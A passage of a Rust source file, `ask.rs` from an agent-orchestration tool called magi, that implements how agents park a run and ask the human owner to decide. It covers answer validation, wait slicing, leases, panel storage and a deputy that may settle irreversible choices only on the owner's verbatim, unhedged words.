Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63pub const SCHEMA: u32 = 11;
64
65/// How often the wait re-reads the question file.
66///
67/// Three seconds: the answer comes from a human on a phone, so the difference
68/// between three seconds and three hundred milliseconds is invisible to them,
69/// while a tight loop would `stat` and parse a file thousands of times per
70/// minute for a wait that routinely lasts hours. Nothing is held between polls -
71/// no lock, no open handle - because `magi web` and `magi answer` write the
72/// same file from other processes.
73const POLL: Duration = Duration::from_secs(3);
74
75/// How long an agent's reply may go unnoticed before it earns its own
76/// notification.
77///
78/// An operator reading the card when the agent replies does not need paging
79/// again for a conversation they are already in; one who walked away still
80/// needs the tap on the shoulder. Five minutes is a judgement call about that
81/// line, not a policy a repository has an opinion about, which is why it lives
82/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
83/// whether they are still looking at the phone, and neither can this build, so
84/// there is nothing for a per-repository setting to be *right* about.
85const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
86
87/// How long the operator's notification command may run before it is killed.
88///
89/// A webhook that hangs must not hang the run. Twenty seconds is long enough
90/// for a slow HTTP round trip and short enough that the operator still gets the
91/// question filed and the run parked in a bounded time.
92const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
93
94/// The longest a single `magi ask` invocation may block on the owner before
95/// it hands the wait back to whatever is running it, rather than to
96/// [`Question::abandon`].
97///
98/// `answer_timeout` defaults to a day, and that is a deadline for the
99/// *question*, not a budget the calling process is free to spend all at
100/// once: an agent CLI's own shell tool kills a command that runs much longer
101/// than this, and the child it kills is `magi ask` itself - the one thing
102/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
103/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
104/// out, and the seat's own summary said it had backgrounded the blocking
105/// `magi ask` and would "continue once the owner replies" - except nothing
106/// was left to notice the reply. The seat exited `completed`, the
107/// backgrounded child died with it, and the owner's eventual answer on the
108/// web UI had nobody left to read it.
109///
110/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
111/// and returns [`Wait::Pending`] if nothing happened, which is not a
112/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
113/// process the tool timeout has never seen. Four minutes leaves a ten-minute
114/// tool budget room for the CLI's own startup and the notification's round
115/// trip, while staying long enough that an owner who answers within the hour
116/// is not making an agent loop through fifteen slices to hear about it.
117const WAIT_SLICE: Duration = Duration::from_secs(240);
118
119/// How long a lease stays believable after its last beat.
120///
121/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
122/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
123/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
124/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
125/// or about to be, and a lease that is merely between two calls must not be
126/// mistaken for that - the daemon waiter would start a second agent on a
127/// conversation the first is still in.
128pub const LEASE_TTL: Duration = Duration::from_secs(90);
129
130/// How long [`Questions::update`]'s lock may be held before it is presumed
131/// left behind by a writer that died.
132const LOCK_STALE: Duration = Duration::from_secs(10);
133
134/// Environment variable naming the base URL of the web UI, for `{url}`.
135///
136/// A run cannot discover this by itself: `magi web` is a different process,
137/// usually started by hand and often on a different machine on the tailnet, and
138/// the address it settled on (Tailscale IP, port, or the fallback it warned
139/// about) exists only in that process. So the operator names it once, in the
140/// environment `magi serve` runs in - `magi web --open` prints exactly the
141/// string to use on stdout. Unset means `{url}` expands to nothing rather than
142/// to a guess: a notification carrying a link to an address nothing is
143/// listening on is worse than one carrying no link at all.
144pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
145
146/// Largest panel magi will store, html plus assets.
147///
148/// Checked as a total, before a single byte is written, because the failure
149/// this prevents is not a full disk but a half-copied panel: an agent that
150/// points at a 200 MB screen recording must get one clean error, not a
151/// directory holding the three small files that fitted before the copy died.
152/// Eight mebibytes is far more than a diff, a table and a handful of images
153/// need, and small enough that a phone on a hotel link still renders it.
154pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
155
156/// Suffix of the directory holding one question's panel.
157///
158/// A sibling of `<id>.json` rather than a subdirectory of the store, so
159/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
160/// see it, and so a panel travels with the question it belongs to.
161const PANEL_DIR: &str = ".panel";
162
163/// The panel's entry point inside its directory.
164const PANEL_HTML: &str = "index.html";
165
166/// Scratch directory a panel is assembled in before it is swapped into place.
167const PANEL_TMP: &str = ".panel.tmp";
168
169/// The one asset filename rule, applied on write **and** on read.
170///
171/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
172/// containing `..`. The pattern is this narrow because the name arrives from
173/// two untrusted directions and is then joined onto a path: an agent naming
174/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
175/// character that could change what the join means is outside the set - `/`
176/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
177/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
178/// refused, which matters because on Windows `Path::join` with an absolute
179/// path *discards the whole prefix* and would serve any file on the disk.
180/// `..` is refused anywhere rather than only at the front so the rule reads
181/// the same as the sentence "no traversal" to anyone auditing it.
182///
183/// The length bound keeps a name inside every filesystem's limit, so a panel
184/// that stores cannot fail to store on the operator's other machine.
185pub fn valid_asset_name(name: &str) -> bool {
186    if name.is_empty() || name.len() > 64 || name.contains("..") {
187        return false;
188    }
189    let mut chars = name.chars();
190    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
191        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
192}
193
194/// Where a question is in its life.
195#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
196#[serde(rename_all = "lowercase")]
197pub enum QuestionStatus {
198    /// Asked, and waiting for the owner. A run is parked behind it.
199    Open,
200    /// The owner decided. [`Question::answer`] holds what they said.
201    Answered,
202    /// Nobody answered in time, or the question outlived the run that asked.
203    /// Kept rather than deleted: what was asked and never answered is the
204    /// evidence that the operator was the bottleneck.
205    Abandoned,
206}
207
208impl QuestionStatus {
209    /// Is a run still parked behind this question?
210    pub fn open(self) -> bool {
211        matches!(self, Self::Open)
212    }
213
214    /// Lowercase name, as it appears on disk and in the API.
215    pub fn as_str(self) -> &'static str {
216        match self {
217            Self::Open => "open",
218            Self::Answered => "answered",
219            Self::Abandoned => "abandoned",
220        }
221    }
222}
223
224/// What the owner said.
225///
226/// Two shapes rather than one string because the question decides which is
227/// admissible, and [`Question::answer`] enforces it. A phone that posts
228/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
229/// front end, and it is caught here rather than handed to an agent as fact.
230#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
231#[serde(rename_all = "lowercase")]
232pub enum Answer {
233    /// One of the offered choices, verbatim.
234    Choice(String),
235    /// Free text, for a question that offered no choices.
236    Text(String),
237}
238
239/// What the daemon does to the task behind a question when a particular
240/// choice is answered.
241///
242/// A closed set, attached to a choice by the asker (`magi ask --choice X
243/// --action X=resume`) and matched by the choice's exact text. Nothing here
244/// is ever derived from the wording of a label or of a free-text answer: a
245/// question without an action for the chosen label does nothing but answer.
246#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
247#[serde(tag = "do", rename_all = "lowercase")]
248pub enum ChoiceAction {
249    /// Resume this run of the task that owns the question.
250    Resume {
251        /// The run to continue. Must still be the task's latest run.
252        run: String,
253    },
254    /// Requeue the task as a fresh competition.
255    Requeue,
256    /// Close the task as done.
257    Done,
258}
259
260impl ChoiceAction {
261    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
262    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
263    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
264    /// action; whether the label is one of the choices is the caller's check.
265    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
266        let Some((label, verb)) = spec.rsplit_once('=') else {
267            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
268        };
269        let label = label.trim();
270        if label.is_empty() {
271            bail!("`--action {spec}` names no choice before `=`");
272        }
273        let verb = verb.trim();
274        let action = match verb.split_once(':') {
275            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
276                run: run.trim().to_owned(),
277            },
278            None if verb == "resume" => {
279                if default_run.is_empty() {
280                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
281                }
282                Self::Resume {
283                    run: default_run.to_owned(),
284                }
285            }
286            None if verb == "requeue" => Self::Requeue,
287            None if verb == "done" => Self::Done,
288            _ => bail!(
289                "unknown action `{verb}` in `--action {spec}`; \
290                 use resume[:<run>], requeue or done"
291            ),
292        };
293        Ok((label.to_owned(), action))
294    }
295
296    /// Short human wording, for `magi show` and the card.
297    pub fn describe(&self) -> String {
298        match self {
299            Self::Resume { run } => format!("resume run {}", short(run)),
300            Self::Requeue => "requeue the task".to_owned(),
301            Self::Done => "mark the task done".to_owned(),
302        }
303    }
304}
305
306/// Parse every `--action` value against the offered `choices`, refusing a
307/// label the question does not offer (it could never fire).
308pub fn parse_actions(
309    specs: &[String],
310    choices: &[String],
311    default_run: &str,
312) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
313    let mut out = std::collections::BTreeMap::new();
314    for spec in specs {
315        let (label, action) = ChoiceAction::parse(spec, default_run)?;
316        if !choices.contains(&label) {
317            bail!(
318                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
319                choices.join(", ")
320            );
321        }
322        if out.insert(label.clone(), action).is_some() {
323            bail!("more than one --action for `{label}`");
324        }
325    }
326    Ok(out)
327}
328
329/// Who wrote one turn of a question's conversation.
330///
331/// Two values, not three: [`Question::thread`] is the record of a single
332/// question stopping and resuming, and the agent that resumes it is always
333/// the one that asked - a fresh consultant would have to be caught up on
334/// everything the first agent already knows, which is the round trip this
335/// module exists to avoid. The names and the wire spelling deliberately match
336/// [`crate::chat::Who`], which this module does not depend on: the two are the
337/// same idea in two products, and giving them the same shape is what lets the
338/// phone render both with one component.
339#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
340#[serde(rename_all = "lowercase")]
341pub enum Who {
342    /// The person the agent asked.
343    Operator,
344    /// The agent that asked, replying to a question of its own rather than
345    /// answering.
346    Agent,
347}
348
349/// One turn in a question's back-and-forth, after the question itself was
350/// asked.
351///
352/// The question's own `summary`/`detail`/`choices` already carry the agent's
353/// opening move, so a turn only exists from the moment the owner talks back -
354/// [`Question::thread`] starts empty and stays that way for the overwhelming
355/// majority of questions, which are answered on the first read.
356#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
357#[serde(deny_unknown_fields)]
358pub struct Turn {
359    /// Who said it.
360    pub who: Who,
361    /// What they said.
362    pub body: String,
363    /// When they said it.
364    pub at: Timestamp,
365    /// A deputy's own report beside a settle: side effects it caused and
366    /// requests it could not carry out. The deputy's claim, never checked by
367    /// magi, and kept apart from `body` so the verified "Settled as" line and
368    /// this self-report cannot be mistaken for each other.
369    #[serde(default, skip_serializing_if = "Option::is_none")]
370    pub note: Option<String>,
371}
372
373/// Who is keeping watch over an open question.
374#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
375#[serde(rename_all = "lowercase")]
376pub enum WaiterKind {
377    /// The `magi ask` process the agent started.
378    Asker,
379    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
380    /// own session because the asker is gone.
381    Daemon,
382    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
383    /// `magi serve` runs for a question the conductor filed, so that something
384    /// which remembers why it was asked is on the other end.
385    Deputy,
386}
387
388/// The follow-up seat a conductor question hands its wait to.
389///
390/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
391/// reply to its question would reach nobody. A deputy is a seat of its own -
392/// keyed `deputy-<question id>`, never the conductor's shared seat - that
393/// inherits what the conductor knew about this one question ([`Deputy::brief`])
394/// and blocks on it with `magi ask --wait`. Persisted on the question so a
395/// restarted daemon resumes the same CLI conversation instead of assuming it.
396///
397/// Written only through [`Questions::update`]: the owner's say and answer land
398/// on the same file.
399#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
400pub struct Deputy {
401    /// Why the question was asked, what each choice leads to: the conductor's
402    /// context for this one question, handed to the deputy in its prompt.
403    pub brief: String,
404    /// The agent that holds the seat. Empty until the first start.
405    #[serde(default)]
406    pub agent: String,
407    /// The deputy's own conversation. `None` until the first start.
408    #[serde(default)]
409    pub seat: Option<crate::agent::SeatState>,
410    /// How many times a deputy turn was started for this question. Never reset
411    /// by a restart, so a deputy that keeps dying is bounded.
412    #[serde(default)]
413    pub starts: u32,
414}
415
416impl Deputy {
417    /// A deputy that has not started yet, holding `brief`.
418    pub fn new(brief: String) -> Self {
419        Self {
420            brief,
421            agent: String::new(),
422            seat: None,
423            starts: 0,
424        }
425    }
426}
427
428/// Seat name of the deputy for question `id`.
429pub fn deputy_seat_key(id: &str) -> String {
430    format!("deputy-{}", short(id))
431}
432
433/// The record's note of who was last known to be waiting.
434///
435/// A note, not a promise: nothing rewrites the question when a holder dies, so
436/// whether it still holds is read from the [`Lease`] beside it.
437#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
438pub struct Waiter {
439    /// Who took the wait.
440    pub kind: WaiterKind,
441    /// When they took it.
442    pub since: Timestamp,
443}
444
445/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
446///
447/// A sidecar rather than a field of the question because a holder beats every
448/// few seconds, and rewriting the question that often would race the phone's
449/// answer and say with lost updates. It is not `*.json`, so
450/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
451/// different things across platforms, while a beat that stopped is evidence on
452/// every one.
453#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
454pub struct Lease {
455    /// Who beat last.
456    pub kind: WaiterKind,
457    /// Their process id, for a human reading the file.
458    pub pid: u32,
459    /// When they beat last.
460    pub beat_at: Timestamp,
461}
462
463impl Lease {
464    /// Was the last beat recent enough to believe the holder is still there?
465    pub fn fresh(&self, now: Timestamp) -> bool {
466        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
467    }
468}
469
470/// One decision magi will not take on the owner's behalf.
471#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
472#[serde(deny_unknown_fields)]
473pub struct Question {
474    /// On-disk format version.
475    pub schema: u32,
476    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
477    /// task's, so the operator can paste any of them at any prefix argument.
478    pub id: String,
479    /// Run that is parked behind this question.
480    pub run: String,
481    /// Graph node the asking agent was working in, e.g. `implement`.
482    pub node: String,
483    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
484    /// this" decides whether the answer unblocks one candidate or all of them.
485    pub seat: String,
486    /// One line: the question itself. This is what a notification carries and
487    /// what the phone shows above the answer controls.
488    pub summary: String,
489    /// The reasoning behind the question, as markdown. May be long, may be
490    /// empty. Rendered as text nodes by the UI, never as markup.
491    pub detail: String,
492    /// Display-only comparison; never used to decide or construct a post.
493    #[serde(default, skip_serializing_if = "Option::is_none")]
494    pub posting_comparison: Option<crate::github_text::PostingComparison>,
495    /// The admissible answers. **Empty means free text** - that one condition
496    /// is the whole difference between the two kinds of question, on disk, in
497    /// the UI, and in [`Question::answer`]'s validation.
498    pub choices: Vec<String>,
499    /// Exact PR and head displayed to the owner. Absent on legacy questions.
500    #[serde(default)]
501    pub merge_target: Option<crate::merge_decision::Target>,
502    /// What the daemon does when a given choice is answered, keyed by the
503    /// choice's exact text. Empty for an ordinary question. A key is always
504    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
505    #[serde(default)]
506    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
507    /// Does this question have an agent-authored HTML panel beside it?
508    ///
509    /// Serialised with a default so a question written by an older magi - or
510    /// by hand - still deserialises rather than failing the whole store, which
511    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
512    /// open question the operator was looking for.
513    #[serde(default)]
514    pub panel: bool,
515    /// Files copied in beside the panel's html, by base name, sorted.
516    ///
517    /// The list exists so a reader knows what a panel is made of without
518    /// walking the directory, and every entry satisfies [`valid_asset_name`].
519    /// Sorted because it is compared - a question re-asked with the same
520    /// assets in a different argument order is not a different question.
521    #[serde(default)]
522    pub assets: Vec<String>,
523    /// Current state.
524    pub status: QuestionStatus,
525    /// When the agent asked.
526    pub asked_at: Timestamp,
527    /// Operator decision generation when a built-in triage question was filed.
528    #[serde(default)]
529    pub triage_generation: Option<u64>,
530    /// When the owner answered, if they did.
531    pub answered_at: Option<Timestamp>,
532    /// What they said.
533    pub answer: Option<Answer>,
534    /// Everything said after the question itself, oldest first: the owner
535    /// asking back, the agent replying, as many times as it takes before an
536    /// [`Answer`] lands.
537    ///
538    /// `#[serde(default)]` so a question written before this field existed -
539    /// every question on disk before this build - still deserialises as one
540    /// with no conversation yet, rather than failing [`Questions::list`]'s
541    /// read and quietly hiding an open question from the operator.
542    #[serde(default)]
543    pub thread: Vec<Turn>,
544    /// The `answer_timeout`, in seconds, that was in force when this question
545    /// was first asked. `0` means unrecorded - a question written before this
546    /// field existed, or one filed by a flow (land's merge-approval gate)
547    /// that never sets it because it never resumes a sliced wait.
548    ///
549    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
550    /// or the config default) is decided by the caller, after the question
551    /// already exists - so it starts at `0` here and whoever files a fresh
552    /// question sets it once, the same way [`Question::panel`] is set by
553    /// [`Questions::put_panel`] rather than by the constructor. It is never
554    /// touched again: `magi ask --wait` reads it as the one deadline it is
555    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
556    /// on a later call can never quietly extend or shrink the budget the
557    /// question was actually asked with.
558    #[serde(default)]
559    pub answer_timeout: u64,
560    /// The directory the asking agent was working in when it asked, so the
561    /// daemon waiter can resume that agent's session from where it stood.
562    /// `None` for a question no `magi ask` filed (land's approval gate, a
563    /// release notice, one written before this field existed): those have no
564    /// agent to hand anything back to, and the waiter leaves them alone.
565    #[serde(default)]
566    pub cwd: Option<String>,
567    /// Who was last known to be waiting - see [`Waiter`].
568    #[serde(default)]
569    pub waiter: Option<Waiter>,
570    /// How many entries of [`Question::thread`] the agent has been shown, by
571    /// the asking process printing them or by the waiter resuming the seat.
572    /// The owner's turn at an index at or past this has reached nobody yet.
573    #[serde(default)]
574    pub delivered_turns: usize,
575    /// Has the agent been told the [`Answer`]? The asker prints it as it
576    /// returns; the waiter delivers it when the asker was gone.
577    #[serde(default)]
578    pub answer_delivered: bool,
579    /// The follow-up seat waiting on this question, for a question the
580    /// conductor filed. `None` for every other question.
581    #[serde(default)]
582    pub deputy: Option<Deputy>,
583    /// Set once the owner handed this question to the chat it came from
584    /// ([`crate::consult::begin`]). The question stays open; this only records
585    /// that the chat was asked, so a second tap does not post it twice.
586    #[serde(default)]
587    pub consult: Option<ChatConsult>,
588    /// Independent task facts behind a conductor question. Answered questions
589    /// with unchanged facts must not be regenerated just to ask again.
590    #[serde(default)]
591    pub decision_context: Option<String>,
592}
593
594/// A question the owner passed to the chat conversation its task came from.
595#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
596pub struct ChatConsult {
597    /// The conversation the question was posted into.
598    pub talk: String,
599    /// When it was posted.
600    pub at: Timestamp,
601}
602
603impl Question {
604    /// Does `run` hold a task id rather than a run id? True for the
605    /// conductor's and the triage questions, which are filed about a task.
606    pub fn run_names_task(&self) -> bool {
607        matches!(
608            self.node.as_str(),
609            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
610        )
611    }
612
613    /// Ask something. Persist it with [`Questions::put`], or hand it to
614    /// [`ask_and_wait`], which files it and waits.
615    pub fn new(
616        run: String,
617        node: String,
618        seat: String,
619        summary: String,
620        detail: String,
621        choices: Vec<String>,
622    ) -> Self {
623        Self {
624            schema: SCHEMA,
625            id: new_id(),
626            run,
627            node,
628            seat,
629            summary,
630            detail,
631            posting_comparison: None,
632            choices,
633            merge_target: None,
634            actions: std::collections::BTreeMap::new(),
635            panel: false,
636            assets: Vec::new(),
637            status: QuestionStatus::Open,
638            asked_at: Timestamp::now(),
639            triage_generation: None,
640            answered_at: None,
641            answer: None,
642            thread: Vec::new(),
643            answer_timeout: 0,
644            cwd: None,
645            waiter: None,
646            delivered_turns: 0,
647            answer_delivered: false,
648            deputy: None,
649            consult: None,
650            decision_context: None,
651        }
652    }
653
654    /// Short form used in reports and on the phone, matching a run's short id.
655    pub fn short(&self) -> &str {
656        short(&self.id)
657    }
658
659    /// The action attached to the choice that was answered, if the question
660    /// is answered with a choice that carries one. Free text never matches.
661    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
662        match (&self.status, &self.answer) {
663            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
664            _ => None,
665        }
666    }
667
668    /// Does this question want free text rather than one of a set?
669    pub fn free_text(&self) -> bool {
670        self.choices.is_empty()
671    }
672
673    /// Record an answer. Rejects a choice the question does not offer, free
674    /// text on a multiple-choice question, an empty answer, and a second
675    /// answer.
676    ///
677    /// Every rejection here is a case where accepting would put a fabrication
678    /// in front of an agent as if the owner had said it. The messages are
679    /// distinct because the caller is a web handler that shows them verbatim,
680    /// and "that is not one of the choices" and "this question is multiple
681    /// choice" are different mistakes with different fixes.
682    pub fn answer(&mut self, answer: Answer) -> Result<()> {
683        match self.status {
684            QuestionStatus::Answered => bail!(
685                "question {} was already answered; the run has moved on and a \
686                 second answer would be a decision nobody acted on",
687                self.short()
688            ),
689            QuestionStatus::Abandoned => bail!(
690                "question {} was abandoned and the run behind it is gone",
691                self.short()
692            ),
693            QuestionStatus::Open => {}
694        }
695        let body = match &answer {
696            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
697        };
698        if body.trim().is_empty() {
699            bail!(
700                "question {} needs an answer; an empty one tells the agent \
701                 nothing and it would guess anyway",
702                self.short()
703            );
704        }
705        match &answer {
706            Answer::Choice(c) if self.free_text() => bail!(
707                "question {} asks for free text, so `{c}` cannot be a choice \
708                 it offered",
709                self.short()
710            ),
711            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
712                "`{c}` is not one of the choices question {} offers: {}",
713                self.short(),
714                self.choices.join(", ")
715            ),
716            Answer::Text(_) if !self.free_text() => bail!(
717                "question {} is multiple choice; answer with one of: {}",
718                self.short(),
719                self.choices.join(", ")
720            ),
721            _ => {}
722        }
723        self.answered_at = Some(Timestamp::now());
724        self.answer = Some(answer);
725        self.status = QuestionStatus::Answered;
726        Ok(())
727    }
728
729    /// Give up on an answer, keeping the record of what was asked.
730    ///
731    /// An answered question is left alone, which matters at exactly one moment:
732    /// the owner answering in the same second the wait's deadline passes. The
733    /// answer is the thing worth keeping there, and it has already been written
734    /// by another process.
735    ///
736    /// The reason is appended to [`Question::detail`] because the on-disk shape
737    /// is a contract with the front end and has no field of its own for it -
738    /// and "asked at 3am, nobody home for a day" belongs with the question, not
739    /// only in a log the operator will never open.
740    pub fn abandon(&mut self, why: impl Into<String>) {
741        if !self.status.open() {
742            return;
743        }
744        self.status = QuestionStatus::Abandoned;
745        let why = why.into();
746        let why = why.trim();
747        if why.is_empty() {
748            return;
749        }
750        if !self.detail.is_empty() {
751            self.detail.push('\n');
752        }
753        self.detail.push_str("\n_Abandoned: ");
754        self.detail.push_str(why);
755        self.detail.push_str("._\n");
756    }
757
758    /// The answer as the asking agent should read it.
759    ///
760    /// One string for both kinds of question: the agent's prompt says "the
761    /// owner answered:", and a chosen option and a typed sentence are the same
762    /// thing at that point. `None` while the question is open or abandoned, so
763    /// a caller cannot mistake silence for a decision.
764    pub fn resolution(&self) -> Option<String> {
765        match (self.status, &self.answer) {
766            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
767                Some(a.clone())
768            }
769            _ => None,
770        }
771    }
772
773    /// A deputy recording that the owner's own words settled the question.
774    ///
775    /// The owner decided in free text ("setup done") on a question that offers
776    /// choices, so no choice was ever tapped. This records `label` as the
777    /// answer - and nothing else: applying it is the daemon's existing path
778    /// for an answered conductor question. Refused unless the caller is this
779    /// question's deputy seat, `label` is one of the offered choices, and
780    /// `quote` appears verbatim in something the owner said; the quote is
781    /// kept in the thread as an agent turn so the record shows what the
782    /// decision rests on.
783    pub fn settle_by_deputy(
784        &mut self,
785        seat: &str,
786        label: &str,
787        quote: &str,
788        note: Option<&str>,
789    ) -> Result<()> {
790        let Some(deputy) = &self.deputy else {
791            bail!("question {} has no deputy", self.short());
792        };
793        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
794        if own != Some(seat) {
795            bail!("only the deputy of question {} may settle it", self.short());
796        }
797        if !self.choices.iter().any(|c| c == label) {
798            bail!(
799                "`{label}` is not one of the choices offered on question {}",
800                self.short()
801            );
802        }
803        let quote = quote.trim();
804        if quote.is_empty()
805            || !self
806                .thread
807                .iter()
808                .any(|t| t.who == Who::Operator && t.body.contains(quote))
809        {
810            bail!(
811                "the quote is not something the owner said on question {}",
812                self.short()
813            );
814        }
815        // The owner's latest message is what counts (an earlier one may since
816        // have been qualified or withdrawn).
817        let latest = self
818            .thread
819            .iter()
820            .rev()
821            .find(|t| t.who == Who::Operator)
822            .map(|t| {
823                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
824                    t.body.as_str()
825                } else {
826                    t.body.trim()
827                }
828            });
829        if crate::deputy::merge_gated(self) {
830            // The merge is irreversible and a say is not a decision. `hold` must
831            // be the latest message exactly. For `merge`, whether the words are
832            // a clear, unhedged instruction is the deputy's judgement alone;
833            // all magi checks is that the quote is a verbatim part of that
834            // latest message.
835            let ok = if label == crate::land::APPROVE {
836                latest.is_some_and(|m| match &self.merge_target {
837                    Some(target) => m == format!("merge {}", target.head) && quote == m,
838                    None => m.contains(quote),
839                })
840            } else {
841                latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
842            };
843            if !ok {
844                bail!(
845                    "on a merge approval `{label}` settles it only when the quote is a \
846                     verbatim part of the owner's latest message ({}); if the wording is \
847                     doubtful, ask what they mean with `--thread` instead",
848                    if label == crate::land::HOLD {
849                        "for `hold`, the whole message"
850                    } else {
851                        "the quote must be the instruction itself"
852                    }
853                );
854            }
855        } else if self.node == crate::github_text::ASK_NODE
856            && crate::deputy::destructive(self, label)
857        {
858            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
859                bail!(
860                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
861                );
862            }
863        } else if crate::deputy::destructive(self, label)
864            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
865        {
866            bail!(
867                "`{label}` cannot be undone; it settles question {} only when the owner's \
868                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
869                 / not / question); ask what they mean with `--thread` instead",
870                self.short()
871            );
872        }
873        self.thread.push(Turn {
874            who: Who::Agent,
875            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
876            at: Timestamp::now(),
877            note: note
878                .map(str::trim)
879                .filter(|n| !n.is_empty())
880                .map(str::to_owned),
881        });
882        self.delivered_turns = self.thread.len();
883        self.answer(Answer::Choice(label.to_owned()))
884    }
885
886    /// The owner speaking back without answering: a request for context, a
887    /// clarifying question, anything short of a decision.
888    ///
